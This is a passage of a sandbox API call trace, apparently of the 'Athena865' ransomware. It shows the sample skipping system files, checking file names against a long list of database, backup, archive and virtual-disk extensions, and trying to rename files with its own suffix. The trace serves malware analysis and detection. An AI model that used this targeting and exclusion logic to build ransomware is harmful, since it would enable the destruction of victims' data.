ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x844c8920, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x9c44e360, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0xa374000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{9625B~1")) returned 1 [0035.220] lstrcmpiW (lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.220] lstrcmpiW (lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.220] lstrcmpiW (lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.220] lstrcmpiW (lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.220] lstrcmpiW (lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.220] lstrcmpiW (lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.220] lstrcmpiW (lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.220] lstrcmpiW (lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.220] lstrcmpiW (lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.220] lstrcmpiW (lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.220] lstrcmpiW (lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.220] lstrcmpiW (lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.220] lstrcmpiW (lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.220] lstrlenW (lpString="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.220] lstrcpyW (in: lpString1=0x241e882, lpString2="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.220] lstrlenW (lpString="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.220] lstrlenW (lpString="Athena865") returned 9 [0035.220] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.220] lstrlenW (lpString=".dll") returned 4 [0035.220] lstrcmpiW (lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.220] lstrlenW (lpString=".lnk") returned 4 [0035.220] lstrcmpiW (lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.220] lstrlenW (lpString=".ini") returned 4 [0035.220] lstrcmpiW (lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.220] lstrlenW (lpString=".sys") returned 4 [0035.220] lstrcmpiW (lpString1="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.220] lstrlenW (lpString="{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.220] lstrlenW (lpString="bak") returned 3 [0035.220] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.221] lstrlenW (lpString="ba_") returned 3 [0035.221] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.221] lstrlenW (lpString="dbb") returned 3 [0035.221] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.221] lstrlenW (lpString="vmdk") returned 4 [0035.221] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.221] lstrlenW (lpString="rar") returned 3 [0035.221] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.221] lstrlenW (lpString="zip") returned 3 [0035.221] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.221] lstrlenW (lpString="tgz") returned 3 [0035.221] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.221] lstrlenW (lpString="vbox") returned 4 [0035.221] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.221] lstrlenW (lpString="vdi") returned 3 [0035.221] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.221] lstrlenW (lpString="vhd") returned 3 [0035.221] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.221] lstrlenW (lpString="vhdx") returned 4 [0035.221] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.221] lstrlenW (lpString="avhd") returned 4 [0035.221] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.221] lstrlenW (lpString="db") returned 2 [0035.221] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.221] lstrlenW (lpString="db2") returned 3 [0035.221] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.221] lstrlenW (lpString="db3") returned 3 [0035.221] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.221] lstrlenW (lpString="dbf") returned 3 [0035.221] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.221] lstrlenW (lpString="mdf") returned 3 [0035.221] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.221] lstrlenW (lpString="mdb") returned 3 [0035.221] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.221] lstrlenW (lpString="sql") returned 3 [0035.221] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.221] lstrlenW (lpString="sqlite") returned 6 [0035.222] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.222] lstrlenW (lpString="sqlite3") returned 7 [0035.222] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.222] lstrlenW (lpString="sqlitedb") returned 8 [0035.222] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.222] lstrlenW (lpString="xml") returned 3 [0035.222] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.222] lstrlenW (lpString="$er") returned 3 [0035.222] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.222] lstrlenW (lpString="4dd") returned 3 [0035.222] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.222] lstrlenW (lpString="4dl") returned 3 [0035.222] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.222] lstrlenW (lpString="^^^") returned 3 [0035.222] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.222] lstrlenW (lpString="abs") returned 3 [0035.222] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.222] lstrlenW (lpString="abx") returned 3 [0035.222] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.222] lstrlenW (lpString="accdb") returned 5 [0035.222] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.222] lstrlenW (lpString="accdc") returned 5 [0035.222] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.222] lstrlenW (lpString="accde") returned 5 [0035.222] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.222] lstrlenW (lpString="accdr") returned 5 [0035.222] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.222] lstrlenW (lpString="accdt") returned 5 [0035.222] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.222] lstrlenW (lpString="accdw") returned 5 [0035.222] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.222] lstrlenW (lpString="accft") returned 5 [0035.222] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.222] lstrlenW (lpString="adb") returned 3 [0035.222] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.222] lstrlenW (lpString="adb") returned 3 [0035.223] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.223] lstrlenW (lpString="ade") returned 3 [0035.223] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.223] lstrlenW (lpString="adf") returned 3 [0035.223] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.223] lstrlenW (lpString="adn") returned 3 [0035.223] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.223] lstrlenW (lpString="adp") returned 3 [0035.223] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.223] lstrlenW (lpString="alf") returned 3 [0035.223] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.223] lstrlenW (lpString="ask") returned 3 [0035.223] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.223] lstrlenW (lpString="btr") returned 3 [0035.223] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.223] lstrlenW (lpString="cat") returned 3 [0035.223] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.223] lstrlenW (lpString="cdb") returned 3 [0035.223] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.223] lstrlenW (lpString="ckp") returned 3 [0035.223] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.223] lstrlenW (lpString="cma") returned 3 [0035.223] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.223] lstrlenW (lpString="cpd") returned 3 [0035.223] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.223] lstrlenW (lpString="dacpac") returned 6 [0035.223] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.223] lstrlenW (lpString="dad") returned 3 [0035.223] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.223] lstrlenW (lpString="dadiagrams") returned 10 [0035.223] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.223] lstrlenW (lpString="daschema") returned 8 [0035.223] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.223] lstrlenW (lpString="db-journal") returned 10 [0035.223] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.223] lstrlenW (lpString="db-shm") returned 6 [0035.223] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.224] lstrlenW (lpString="db-wal") returned 6 [0035.224] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.224] lstrlenW (lpString="dbc") returned 3 [0035.224] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.224] lstrlenW (lpString="dbs") returned 3 [0035.224] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.224] lstrlenW (lpString="dbt") returned 3 [0035.224] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.224] lstrlenW (lpString="dbv") returned 3 [0035.224] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.224] lstrlenW (lpString="dbx") returned 3 [0035.224] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.224] lstrlenW (lpString="dcb") returned 3 [0035.224] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.224] lstrlenW (lpString="dct") returned 3 [0035.224] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.224] lstrlenW (lpString="dcx") returned 3 [0035.224] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.224] lstrlenW (lpString="ddl") returned 3 [0035.224] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.224] lstrlenW (lpString="dlis") returned 4 [0035.224] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.224] lstrlenW (lpString="dp1") returned 3 [0035.224] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.224] lstrlenW (lpString="dqy") returned 3 [0035.224] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.224] lstrlenW (lpString="dsk") returned 3 [0035.224] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.224] lstrlenW (lpString="dsn") returned 3 [0035.224] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.224] lstrlenW (lpString="dtsx") returned 4 [0035.224] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.224] lstrlenW (lpString="dxl") returned 3 [0035.224] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.224] lstrlenW (lpString="eco") returned 3 [0035.224] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.224] lstrlenW (lpString="ecx") returned 3 [0035.225] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.225] lstrlenW (lpString="edb") returned 3 [0035.225] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.225] lstrlenW (lpString="epim") returned 4 [0035.225] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.225] lstrlenW (lpString="fcd") returned 3 [0035.225] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.225] lstrlenW (lpString="fdb") returned 3 [0035.225] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.225] lstrlenW (lpString="fic") returned 3 [0035.225] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.225] lstrlenW (lpString="flexolibrary") returned 12 [0035.225] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.225] lstrlenW (lpString="fm5") returned 3 [0035.225] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.225] lstrlenW (lpString="fmp") returned 3 [0035.225] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.225] lstrlenW (lpString="fmp12") returned 5 [0035.225] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.225] lstrlenW (lpString="fmpsl") returned 5 [0035.225] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.225] lstrlenW (lpString="fol") returned 3 [0035.225] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.225] lstrlenW (lpString="fp3") returned 3 [0035.225] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.225] lstrlenW (lpString="fp4") returned 3 [0035.225] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.225] lstrlenW (lpString="fp5") returned 3 [0035.225] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.225] lstrlenW (lpString="fp7") returned 3 [0035.225] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.225] lstrlenW (lpString="fpt") returned 3 [0035.225] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.225] lstrlenW (lpString="frm") returned 3 [0035.225] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.225] lstrlenW (lpString="gdb") returned 3 [0035.225] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.225] lstrlenW (lpString="gdb") returned 3 [0035.226] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.226] lstrlenW (lpString="grdb") returned 4 [0035.226] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.226] lstrlenW (lpString="gwi") returned 3 [0035.226] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.226] lstrlenW (lpString="hdb") returned 3 [0035.226] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.226] lstrlenW (lpString="his") returned 3 [0035.226] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.226] lstrlenW (lpString="ib") returned 2 [0035.226] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.226] lstrlenW (lpString="idb") returned 3 [0035.226] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.226] lstrlenW (lpString="ihx") returned 3 [0035.226] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.226] lstrlenW (lpString="itdb") returned 4 [0035.226] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.226] lstrlenW (lpString="itw") returned 3 [0035.226] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.226] lstrlenW (lpString="jet") returned 3 [0035.226] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.226] lstrlenW (lpString="jtx") returned 3 [0035.226] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.226] lstrlenW (lpString="kdb") returned 3 [0035.226] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.226] lstrlenW (lpString="kexi") returned 4 [0035.226] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.226] lstrlenW (lpString="kexic") returned 5 [0035.226] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.226] lstrlenW (lpString="kexis") returned 5 [0035.226] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.226] lstrlenW (lpString="lgc") returned 3 [0035.226] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.226] lstrlenW (lpString="lwx") returned 3 [0035.226] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.226] lstrlenW (lpString="maf") returned 3 [0035.227] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.227] lstrlenW (lpString="maq") returned 3 [0035.227] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.227] lstrlenW (lpString="mar") returned 3 [0035.227] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.227] lstrlenW (lpString="marshal") returned 7 [0035.227] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.227] lstrlenW (lpString="mas") returned 3 [0035.227] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.227] lstrlenW (lpString="mav") returned 3 [0035.227] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.227] lstrlenW (lpString="maw") returned 3 [0035.227] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.227] lstrlenW (lpString="mdbhtml") returned 7 [0035.227] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.227] lstrlenW (lpString="mdn") returned 3 [0035.227] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.227] lstrlenW (lpString="mdt") returned 3 [0035.227] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.227] lstrlenW (lpString="mfd") returned 3 [0035.227] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.227] lstrlenW (lpString="mpd") returned 3 [0035.227] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.227] lstrlenW (lpString="mrg") returned 3 [0035.227] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.227] lstrlenW (lpString="mud") returned 3 [0035.227] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.227] lstrlenW (lpString="mwb") returned 3 [0035.227] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.227] lstrlenW (lpString="myd") returned 3 [0035.227] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.227] lstrlenW (lpString="ndf") returned 3 [0035.227] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.227] lstrlenW (lpString="nnt") returned 3 [0035.227] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.227] lstrlenW (lpString="nrmlib") returned 6 [0035.227] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.228] lstrlenW (lpString="ns2") returned 3 [0035.228] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.228] lstrlenW (lpString="ns3") returned 3 [0035.228] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.228] lstrlenW (lpString="ns4") returned 3 [0035.228] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.228] lstrlenW (lpString="nsf") returned 3 [0035.228] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.228] lstrlenW (lpString="nv") returned 2 [0035.228] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.228] lstrlenW (lpString="nv2") returned 3 [0035.228] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.237] lstrlenW (lpString="nwdb") returned 4 [0035.237] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.237] lstrlenW (lpString="nyf") returned 3 [0035.237] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.237] lstrlenW (lpString="odb") returned 3 [0035.237] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.237] lstrlenW (lpString="odb") returned 3 [0035.237] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.237] lstrlenW (lpString="oqy") returned 3 [0035.237] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.237] lstrlenW (lpString="ora") returned 3 [0035.237] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.237] lstrlenW (lpString="orx") returned 3 [0035.237] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.237] lstrlenW (lpString="owc") returned 3 [0035.237] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.237] lstrlenW (lpString="p96") returned 3 [0035.237] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.237] lstrlenW (lpString="p97") returned 3 [0035.237] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.237] lstrlenW (lpString="pan") returned 3 [0035.237] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.237] lstrlenW (lpString="pdb") returned 3 [0035.237] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.237] lstrlenW (lpString="pdm") returned 3 [0035.237] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.237] lstrlenW (lpString="pnz") returned 3 [0035.237] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.237] lstrlenW (lpString="qry") returned 3 [0035.238] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.238] lstrlenW (lpString="qvd") returned 3 [0035.238] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.238] lstrlenW (lpString="rbf") returned 3 [0035.238] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.238] lstrlenW (lpString="rctd") returned 4 [0035.238] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.238] lstrlenW (lpString="rod") returned 3 [0035.238] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.238] lstrlenW (lpString="rodx") returned 4 [0035.238] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.238] lstrlenW (lpString="rpd") returned 3 [0035.238] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.238] lstrlenW (lpString="rsd") returned 3 [0035.238] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.238] lstrlenW (lpString="sas7bdat") returned 8 [0035.238] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.238] lstrlenW (lpString="sbf") returned 3 [0035.238] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.238] lstrlenW (lpString="scx") returned 3 [0035.238] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.238] lstrlenW (lpString="sdb") returned 3 [0035.238] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.238] lstrlenW (lpString="sdc") returned 3 [0035.238] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.238] lstrlenW (lpString="sdf") returned 3 [0035.238] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.238] lstrlenW (lpString="sis") returned 3 [0035.238] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.238] lstrlenW (lpString="spq") returned 3 [0035.238] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.238] lstrlenW (lpString="te") returned 2 [0035.238] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.238] lstrlenW (lpString="teacher") returned 7 [0035.238] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.238] lstrlenW (lpString="tmd") returned 3 [0035.238] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.239] lstrlenW (lpString="tps") returned 3 [0035.239] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.239] lstrlenW (lpString="trc") returned 3 [0035.239] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.239] lstrlenW (lpString="trc") returned 3 [0035.239] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.239] lstrlenW (lpString="trm") returned 3 [0035.239] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.239] lstrlenW (lpString="udb") returned 3 [0035.239] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.239] lstrlenW (lpString="udl") returned 3 [0035.239] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.239] lstrlenW (lpString="usr") returned 3 [0035.239] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.239] lstrlenW (lpString="v12") returned 3 [0035.239] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.239] lstrlenW (lpString="vis") returned 3 [0035.239] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.239] lstrlenW (lpString="vpd") returned 3 [0035.239] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.239] lstrlenW (lpString="vvv") returned 3 [0035.239] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.239] lstrlenW (lpString="wdb") returned 3 [0035.239] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.239] lstrlenW (lpString="wmdb") returned 4 [0035.239] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.239] lstrlenW (lpString="wrk") returned 3 [0035.239] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.239] lstrlenW (lpString="xdb") returned 3 [0035.239] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.239] lstrlenW (lpString="xld") returned 3 [0035.239] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.239] lstrlenW (lpString="xmlff") returned 5 [0035.239] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.239] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.239] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.240] GetLastError () returned 0x5 [0035.240] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.240] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, 